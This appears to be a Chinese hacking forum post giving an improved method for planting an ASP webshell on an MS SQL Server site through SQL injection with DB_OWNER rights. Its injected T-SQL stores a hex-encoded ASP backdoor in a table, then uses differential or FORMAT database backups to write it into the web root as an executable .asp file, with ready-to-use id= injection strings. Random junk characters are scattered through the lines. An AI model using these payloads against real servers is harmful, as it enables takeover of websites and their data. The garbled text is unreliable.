DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
# u" F: b9 b' s0 N% c加一个参数WITH DIFFERENTIAL
) W/ p) `6 B$ F+ }! L8 o) m* {
  X, _* Y7 Z$ |0 E8 f5 A( Pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, c. o2 W! O9 f: n3 M+ P& `create table [dbo].[xiaolu] ([cmd] [image]);
9 p% P0 @) l( h2 g  n# V  Q7 binsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

. J2 p+ T  G* s2 H二利用完全FORMAT
加一个参数WITH FROMAT
) Y3 c8 [' `& Y; A0 @有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
: j6 h5 j( E; u9 j7 s3 u
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' D2 |, E4 B7 _! Pcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
( ?- E% z$ S  E3 X8 a; Z
0 `. q$ F1 O+ h3 D; A总的来说就是那么简单几句,下面以备份数据库model为例子
5 f6 Q& Z; v6 {9 ?* q9 [  Q6 p- I
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
. R) y1 G. K, L5 P; k3 y
, Y/ q7 V; f  ]2 {" h1 |/ P% ^id=1;backup database model to disk=’你的路径‘ with differential,format;–
/ d# e; H& A" T
" ~, c: |4 i. k